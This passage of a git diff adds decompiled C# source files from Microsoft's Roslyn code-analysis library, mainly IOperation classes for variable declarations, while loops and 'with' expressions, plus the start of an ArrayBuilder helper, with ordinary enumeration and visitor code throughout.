IOperation GetCurrent(int slot, int index) + { + switch (slot) + { + case 0: + if (Resources != null) + { + return Resources; + } + break; + case 1: + if (Body != null) + { + return Body; + } + break; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + switch (previousSlot) + { + case -1: + if (Resources != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + goto case 0; + case 0: + if (Body != null) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + goto case 1; + case 1: + case 2: + return (hasNext: false, nextSlot: 2, nextIndex: 0); + default: + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + if ((uint)(previousSlot - -1) > 1u) + { + if (previousSlot != 1) + { + if (previousSlot != int.MaxValue) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + if (Body != null) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + } + if (Resources != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + } + return (hasNext: false, nextSlot: -1, nextIndex: 0); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitUsing(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitUsing(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/Utf8StringOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/Utf8StringOperation.cs new file mode 100644 index 0000000..9e029bc --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/Utf8StringOperation.cs @@ -0,0 +1,48 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class Utf8StringOperation : Operation, IUtf8StringOperation, IOperation +{ + public string Value { get; } + + internal override int ChildOperationsCount => 0; + + public override ITypeSymbol? Type { get; } + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.Utf8String; + + internal Utf8StringOperation(string value, SemanticModel? semanticModel, SyntaxNode syntax, ITypeSymbol? type, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + Value = value; + Type = type; + } + + internal override IOperation GetCurrent(int slot, int index) + { + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + return (hasNext: false, nextSlot: int.MinValue, nextIndex: int.MinValue); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + return (hasNext: false, nextSlot: int.MinValue, nextIndex: int.MinValue); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitUtf8String(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitUtf8String(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/VariableDeclarationGroupOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/VariableDeclarationGroupOperation.cs new file mode 100644 index 0000000..1bb6740 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/VariableDeclarationGroupOperation.cs @@ -0,0 +1,88 @@ +using System.Collections.Immutable; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class VariableDeclarationGroupOperation : Operation, IVariableDeclarationGroupOperation, IOperation +{ + public ImmutableArray Declarations { get; } + + internal override int ChildOperationsCount => Declarations.Length; + + public override ITypeSymbol? Type => null; + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.VariableDeclarationGroup; + + internal VariableDeclarationGroupOperation(ImmutableArray declarations, SemanticModel? semanticModel, SyntaxNode syntax, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + Declarations = Operation.SetParentOperation(declarations, this); + } + + internal override IOperation GetCurrent(int slot, int index) + { + if (slot == 0 && index < Declarations.Length) + { + return Declarations[index]; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + switch (previousSlot) + { + case -1: + if (!Declarations.IsEmpty) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + goto case 1; + case 0: + if (previousIndex + 1 < Declarations.Length) + { + return (hasNext: true, nextSlot: 0, nextIndex: previousIndex + 1); + } + goto case 1; + case 1: + return (hasNext: false, nextSlot: 1, nextIndex: 0); + default: + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + if (previousSlot != -1) + { + if (previousSlot != 0) + { + if (previousSlot != int.MaxValue) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + if (!Declarations.IsEmpty) + { + return (hasNext: true, nextSlot: 0, nextIndex: Declarations.Length - 1); + } + } + else if (previousIndex > 0) + { + return (hasNext: true, nextSlot: 0, nextIndex: previousIndex - 1); + } + } + return (hasNext: false, nextSlot: -1, nextIndex: 0); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitVariableDeclarationGroup(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitVariableDeclarationGroup(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/VariableDeclarationOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/VariableDeclarationOperation.cs new file mode 100644 index 0000000..a630c39 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/VariableDeclarationOperation.cs @@ -0,0 +1,152 @@ +using System.Collections.Immutable; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class VariableDeclarationOperation : Operation, IVariableDeclarationOperation, IOperation +{ + public ImmutableArray Declarators { get; } + + public IVariableInitializerOperation? Initializer { get; } + + public ImmutableArray IgnoredDimensions { get; } + + internal override int ChildOperationsCount => Declarators.Length + ((Initializer != null) ? 1 : 0) + IgnoredDimensions.Length; + + public override ITypeSymbol? Type => null; + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.VariableDeclaration; + + internal VariableDeclarationOperation(ImmutableArray declarators, IVariableInitializerOperation? initializer, ImmutableArray ignoredDimensions, SemanticModel? semanticModel, SyntaxNode syntax, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + Declarators = Operation.SetParentOperation(declarators, this); + Initializer = Operation.SetParentOperation(initializer, this); + IgnoredDimensions = Operation.SetParentOperation(ignoredDimensions, this); + } + + internal override IOperation GetCurrent(int slot, int index) + { + switch (slot) + { + case 0: + if (index < IgnoredDimensions.Length) + { + return IgnoredDimensions[index]; + } + break; + case 1: + if (index < Declarators.Length) + { + return Declarators[index]; + } + break; + case 2: + if (Initializer != null) + { + return Initializer; + } + break; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + switch (previousSlot) + { + case -1: + if (!IgnoredDimensions.IsEmpty) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + goto IL_005a; + case 0: + if (previousIndex + 1 < IgnoredDimensions.Length) + { + return (hasNext: true, nextSlot: 0, nextIndex: previousIndex + 1); + } + goto IL_005a; + case 1: + if (previousIndex + 1 < Declarators.Length) + { + return (hasNext: true, nextSlot: 1, nextIndex: previousIndex + 1); + } + goto IL_0091; + case 2: + case 3: + return (hasNext: false, nextSlot: 3, nextIndex: 0); + default: + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + IL_005a: + if (!Declarators.IsEmpty) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + goto IL_0091; + IL_0091: + if (Initializer != null) + { + return (hasNext: true, nextSlot: 2, nextIndex: 0); + } + goto case 2; + } + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + switch (previousSlot) + { + case int.MaxValue: + if (Initializer != null) + { + return (hasNext: true, nextSlot: 2, nextIndex: 0); + } + goto case 2; + case 2: + if (!Declarators.IsEmpty) + { + return (hasNext: true, nextSlot: 1, nextIndex: Declarators.Length - 1); + } + goto IL_006d; + case 1: + if (previousIndex > 0) + { + return (hasNext: true, nextSlot: 1, nextIndex: previousIndex - 1); + } + goto IL_006d; + case 0: + if (previousIndex > 0) + { + return (hasNext: true, nextSlot: 0, nextIndex: previousIndex - 1); + } + goto case -1; + case -1: + return (hasNext: false, nextSlot: -1, nextIndex: 0); + default: + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + IL_006d: + if (!IgnoredDimensions.IsEmpty) + { + return (hasNext: true, nextSlot: 0, nextIndex: IgnoredDimensions.Length - 1); + } + goto case -1; + } + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitVariableDeclaration(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitVariableDeclaration(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/VariableDeclaratorOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/VariableDeclaratorOperation.cs new file mode 100644 index 0000000..8832d37 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/VariableDeclaratorOperation.cs @@ -0,0 +1,120 @@ +using System.Collections.Immutable; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class VariableDeclaratorOperation : Operation, IVariableDeclaratorOperation, IOperation +{ + public ILocalSymbol Symbol { get; } + + public IVariableInitializerOperation? Initializer { get; } + + public ImmutableArray IgnoredArguments { get; } + + internal override int ChildOperationsCount => ((Initializer != null) ? 1 : 0) + IgnoredArguments.Length; + + public override ITypeSymbol? Type => null; + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.VariableDeclarator; + + internal VariableDeclaratorOperation(ILocalSymbol symbol, IVariableInitializerOperation? initializer, ImmutableArray ignoredArguments, SemanticModel? semanticModel, SyntaxNode syntax, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + Symbol = symbol; + Initializer = Operation.SetParentOperation(initializer, this); + IgnoredArguments = Operation.SetParentOperation(ignoredArguments, this); + } + + internal override IOperation GetCurrent(int slot, int index) + { + switch (slot) + { + case 0: + if (index < IgnoredArguments.Length) + { + return IgnoredArguments[index]; + } + break; + case 1: + if (Initializer != null) + { + return Initializer; + } + break; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + switch (previousSlot) + { + case -1: + if (!IgnoredArguments.IsEmpty) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + goto IL_0053; + case 0: + if (previousIndex + 1 < IgnoredArguments.Length) + { + return (hasNext: true, nextSlot: 0, nextIndex: previousIndex + 1); + } + goto IL_0053; + case 1: + case 2: + return (hasNext: false, nextSlot: 2, nextIndex: 0); + default: + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + IL_0053: + if (Initializer != null) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + goto case 1; + } + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + switch (previousSlot) + { + case int.MaxValue: + if (Initializer != null) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + goto case 1; + case 1: + if (!IgnoredArguments.IsEmpty) + { + return (hasNext: true, nextSlot: 0, nextIndex: IgnoredArguments.Length - 1); + } + goto case -1; + case 0: + if (previousIndex > 0) + { + return (hasNext: true, nextSlot: 0, nextIndex: previousIndex - 1); + } + goto case -1; + case -1: + return (hasNext: false, nextSlot: -1, nextIndex: 0); + default: + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitVariableDeclarator(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitVariableDeclarator(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/VariableInitializerOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/VariableInitializerOperation.cs new file mode 100644 index 0000000..93f4122 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/VariableInitializerOperation.cs @@ -0,0 +1,71 @@ +using System.Collections.Immutable; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class VariableInitializerOperation : BaseSymbolInitializerOperation, IVariableInitializerOperation, ISymbolInitializerOperation, IOperation +{ + internal override int ChildOperationsCount => (base.Value != null) ? 1 : 0; + + public override ITypeSymbol? Type => null; + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.VariableInitializer; + + internal VariableInitializerOperation(ImmutableArray locals, IOperation value, SemanticModel? semanticModel, SyntaxNode syntax, bool isImplicit) + : base(locals, value, semanticModel, syntax, isImplicit) + { + } + + internal override IOperation GetCurrent(int slot, int index) + { + if (slot == 0 && base.Value != null) + { + return base.Value; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + if (previousSlot != -1) + { + if ((uint)previousSlot > 1u) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + else if (base.Value != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + return (hasNext: false, nextSlot: 1, nextIndex: 0); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + if ((uint)(previousSlot - -1) > 1u) + { + if (previousSlot != int.MaxValue) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + if (base.Value != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + } + return (hasNext: false, nextSlot: -1, nextIndex: 0); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitVariableInitializer(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitVariableInitializer(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/WhileLoopOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/WhileLoopOperation.cs new file mode 100644 index 0000000..104be28 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/WhileLoopOperation.cs @@ -0,0 +1,237 @@ +using System.Collections.Immutable; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class WhileLoopOperation : BaseLoopOperation, IWhileLoopOperation, ILoopOperation, IOperation +{ + public IOperation? Condition { get; } + + public bool ConditionIsTop { get; } + + public bool ConditionIsUntil { get; } + + public IOperation? IgnoredCondition { get; } + + internal override int ChildOperationsCount => ((Condition != null) ? 1 : 0) + ((IgnoredCondition != null) ? 1 : 0) + ((base.Body != null) ? 1 : 0); + + public override ITypeSymbol? Type => null; + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.Loop; + + public override LoopKind LoopKind => LoopKind.While; + + internal WhileLoopOperation(IOperation? condition, bool conditionIsTop, bool conditionIsUntil, IOperation? ignoredCondition, IOperation body, ImmutableArray locals, ILabelSymbol continueLabel, ILabelSymbol exitLabel, SemanticModel? semanticModel, SyntaxNode syntax, bool isImplicit) + : base(body, locals, continueLabel, exitLabel, semanticModel, syntax, isImplicit) + { + Condition = Operation.SetParentOperation(condition, this); + ConditionIsTop = conditionIsTop; + ConditionIsUntil = conditionIsUntil; + IgnoredCondition = Operation.SetParentOperation(ignoredCondition, this); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitWhileLoop(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitWhileLoop(this, argument); + } + + internal override IOperation GetCurrent(int slot, int index) + { + if (!ConditionIsTop) + { + return getCurrentSwitchBottom(); + } + return getCurrentSwitchTop(); + IOperation getCurrentSwitchBottom() + { + switch (slot) + { + case 0: + if (base.Body != null) + { + return base.Body; + } + break; + case 1: + if (Condition != null) + { + return Condition; + } + break; + case 2: + if (IgnoredCondition != null) + { + return IgnoredCondition; + } + break; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + IOperation getCurrentSwitchTop() + { + switch (slot) + { + case 0: + if (Condition != null) + { + return Condition; + } + break; + case 1: + if (base.Body != null) + { + return base.Body; + } + break; + case 2: + if (IgnoredCondition != null) + { + return IgnoredCondition; + } + break; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + if (!ConditionIsTop) + { + return moveNextConditionIsBottom(); + } + return moveNextConditionIsTop(); + (bool hasNext, int nextSlot, int nextIndex) moveNextConditionIsBottom() + { + switch (previousSlot) + { + case -1: + if (base.Body != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + goto case 0; + case 0: + if (Condition != null) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + goto case 1; + case 1: + if (IgnoredCondition != null) + { + return (hasNext: true, nextSlot: 2, nextIndex: 0); + } + goto case 2; + case 2: + case 3: + return (hasNext: false, nextSlot: 3, nextIndex: 0); + default: + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + (bool hasNext, int nextSlot, int nextIndex) moveNextConditionIsTop() + { + switch (previousSlot) + { + case -1: + if (Condition != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + goto case 0; + case 0: + if (base.Body != null) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + goto case 1; + case 1: + if (IgnoredCondition != null) + { + return (hasNext: true, nextSlot: 2, nextIndex: 0); + } + goto case 2; + case 2: + case 3: + return (hasNext: false, nextSlot: 3, nextIndex: 0); + default: + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + if (!ConditionIsTop) + { + return moveNextConditionIsBottom(); + } + return moveNextConditionIsTop(); + (bool hasNext, int nextSlot, int nextIndex) moveNextConditionIsBottom() + { + switch (previousSlot) + { + case int.MaxValue: + if (IgnoredCondition != null) + { + return (hasNext: true, nextSlot: 2, nextIndex: 0); + } + goto case 2; + case 2: + if (Condition != null) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + goto case 1; + case 1: + if (base.Body != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + goto case -1; + case -1: + case 0: + return (hasNext: false, nextSlot: -1, nextIndex: 0); + default: + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + (bool hasNext, int nextSlot, int nextIndex) moveNextConditionIsTop() + { + switch (previousSlot) + { + case int.MaxValue: + if (IgnoredCondition != null) + { + return (hasNext: true, nextSlot: 2, nextIndex: 0); + } + goto case 2; + case 2: + if (base.Body != null) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + goto case 1; + case 1: + if (Condition != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + goto case -1; + case -1: + case 0: + return (hasNext: false, nextSlot: -1, nextIndex: 0); + default: + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/WithOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/WithOperation.cs new file mode 100644 index 0000000..cdd1f7e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/WithOperation.cs @@ -0,0 +1,106 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class WithOperation : Operation, IWithOperation, IOperation +{ + public IOperation Operand { get; } + + public IMethodSymbol? CloneMethod { get; } + + public IObjectOrCollectionInitializerOperation Initializer { get; } + + internal override int ChildOperationsCount => ((Operand != null) ? 1 : 0) + ((Initializer != null) ? 1 : 0); + + public override ITypeSymbol? Type { get; } + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.With; + + internal WithOperation(IOperation operand, IMethodSymbol? cloneMethod, IObjectOrCollectionInitializerOperation initializer, SemanticModel? semanticModel, SyntaxNode syntax, ITypeSymbol? type, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + Operand = Operation.SetParentOperation(operand, this); + CloneMethod = cloneMethod; + Initializer = Operation.SetParentOperation(initializer, this); + Type = type; + } + + internal override IOperation GetCurrent(int slot, int index) + { + switch (slot) + { + case 0: + if (Operand != null) + { + return Operand; + } + break; + case 1: + if (Initializer != null) + { + return Initializer; + } + break; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + switch (previousSlot) + { + case -1: + if (Operand != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + goto case 0; + case 0: + if (Initializer != null) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + goto case 1; + case 1: + case 2: + return (hasNext: false, nextSlot: 2, nextIndex: 0); + default: + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + if ((uint)(previousSlot - -1) > 1u) + { + if (previousSlot != 1) + { + if (previousSlot != int.MaxValue) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + if (Initializer != null) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + } + if (Operand != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + } + return (hasNext: false, nextSlot: -1, nextIndex: 0); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitWith(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitWith(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/WithStatementOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/WithStatementOperation.cs new file mode 100644 index 0000000..e07b547 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/WithStatementOperation.cs @@ -0,0 +1,102 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class WithStatementOperation : Operation, IWithStatementOperation, IOperation +{ + public IOperation Body { get; } + + public IOperation Value { get; } + + internal override int ChildOperationsCount => ((Body != null) ? 1 : 0) + ((Value != null) ? 1 : 0); + + public override ITypeSymbol? Type => null; + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.None; + + internal WithStatementOperation(IOperation body, IOperation value, SemanticModel? semanticModel, SyntaxNode syntax, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + Body = Operation.SetParentOperation(body, this); + Value = Operation.SetParentOperation(value, this); + } + + internal override IOperation GetCurrent(int slot, int index) + { + switch (slot) + { + case 0: + if (Value != null) + { + return Value; + } + break; + case 1: + if (Body != null) + { + return Body; + } + break; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + switch (previousSlot) + { + case -1: + if (Value != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + goto case 0; + case 0: + if (Body != null) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + goto case 1; + case 1: + case 2: + return (hasNext: false, nextSlot: 2, nextIndex: 0); + default: + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + if ((uint)(previousSlot - -1) > 1u) + { + if (previousSlot != 1) + { + if (previousSlot != int.MaxValue) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + if (Body != null) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + } + if (Value != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + } + return (hasNext: false, nextSlot: -1, nextIndex: 0); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitWithStatement(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitWithStatement(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.PooledObjects/ArrayBuilder.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.PooledObjects/ArrayBuilder.cs new file mode 100644 index 0000000..23f0f71 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.PooledObjects/ArrayBuilder.cs @@ -0,0 +1,606 @@ +using System; +using System.Collections; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics; + +namespace Microsoft.CodeAnalysis.PooledObjects; + +[DebuggerDisplay("Count = {Count,nq}")] +[DebuggerTypeProxy(typeof(ArrayBuilder<>.DebuggerProxy))] +internal sealed class ArrayBuilder : IReadOnlyCollection, IEnumerable, IEnumerable, IReadOnlyList +{ + private sealed class DebuggerProxy + { + private readonly ArrayBuilder _builder; + + [DebuggerBrowsable(DebuggerBrowsableState.RootHidden)] + public T[] A + { + get + { + T[] array = new T[_builder.Count]; + for (int i = 0; i < array.Length; i++) + { + array[i] = _builder[i]; + } + return array; + } + } + + public DebuggerProxy(ArrayBuilder builder) + { + _builder = builder; + } + } + + internal struct Enumerator(ArrayBuilder builder) + { + private readonly ArrayBuilder _builder = builder; + + private int _index = -1; + + public readonly T Current => _builder[_index]; + + public bool MoveNext() + { + _index++; + return _index < _builder.Count; + } + } + + public const int PooledArrayLengthLimitExclusive = 128; + + private readonly ImmutableArray.Builder _builder; + + private readonly ObjectPool>? _pool; + + private static readonly ObjectPool> s_poolInstance = CreatePool(); + + public int Count + { + get + { + return _builder.Count; + } + set + { + _builder.Count = value; + } + } + + public int Capacity + { + get + { + return _builder.Capacity; + } + set + { + _builder.Capacity = value; + } + } + + public T this[int index] + { + get + { + return _builder[index]; + } + set + { + _builder[index] = value; + } + } + + public ArrayBuilder(int size) + { + _builder = ImmutableArray.CreateBuilder(size); + } + + public ArrayBuilder() + : this(8) + { + } + + private ArrayBuilder(ObjectPool> pool) + : this() + { + _pool = pool; + } + + public ImmutableArray ToImmutable() + { + return _builder.ToImmutable(); + } + + public ImmutableArray ToImmutableAndClear() + { + ImmutableArray result; + if (Count == 0) + { + result = ImmutableArray.Empty; + } + else if (_builder.Capacity == Count) + { + result = _builder.MoveToImmutable(); + } + else + { + result = ToImmutable(); + Clear(); + } + return result; + } + + public void SetItem(int index, T value) + { + while (index > _builder.Count) + { + _builder.Add(default(T)); + } + if (index == _builder.Count) + { + _builder.Add(value); + } + else + { + _builder[index] = value; + } + } + + public void Add(T item) + { + _builder.Add(item); + } + + public void Insert(int index, T item) + { + _builder.Insert(index, item); + } + + public void EnsureCapacity(int capacity) + { + if (_builder.Capacity < capacity) + { + _builder.Capacity = capacity; + } + } + + public void Clear() + { + _builder.Clear(); + } + + public bool Contains(T item) + { + return _builder.Contains(item); + } + + public int IndexOf(T item) + { + return _builder.IndexOf(item); + } + + public int IndexOf(T item, IEqualityComparer equalityComparer) + { + return _builder.IndexOf(item, 0, _builder.Count, equalityComparer); + } + + public int IndexOf(T item, int startIndex, int count) + { + return _builder.IndexOf(item, startIndex, count); + } + + public int FindIndex(Predicate match) + { + return FindIndex(0, Count, match); + } + + public int FindIndex(int startIndex, Predicate match) + { + return FindIndex(startIndex, Count - startIndex, match); + } + + public int FindIndex(int startIndex, int count, Predicate match) + { + int num = startIndex + count; + for (int i = startIndex; i < num; i++) + { + if (match(_builder[i])) + { + return i; + } + } + return -1; + } + + public int FindIndex(Func match, TArg arg) + { + return FindIndex(0, Count, match, arg); + } + + public int FindIndex(int startIndex, Func match, TArg arg) + { + return FindIndex(startIndex, Count - startIndex, match, arg); + } + + public int FindIndex(int startIndex, int count, Func match, TArg arg) + { + int num = startIndex + count; + for (int i = startIndex; i < num; i++) + { + if (match(_builder[i], arg)) + { + return i; + } + } + return -1; + } + + public bool Remove(T element) + { + return _builder.Remove(element); + } + + public void RemoveAt(int index) + { + _builder.RemoveAt(index); + } + + public void RemoveLast() + { + _builder.RemoveAt(_builder.Count - 1); + } + + public void ReverseContents() + { + _builder.Reverse(); + } + + public void Sort() + { + _builder.Sort(); + } + + public void Sort(IComparer comparer) + { + _builder.Sort(comparer); + } + + public void Sort(Comparison compare) + { + Sort(Comparer.Create(compare)); + } + + public void Sort(int startIndex, IComparer comparer) + { + _builder.Sort(startIndex, _builder.Count - startIndex, comparer); + } + + public T[] ToArray() + { + return _builder.ToArray(); 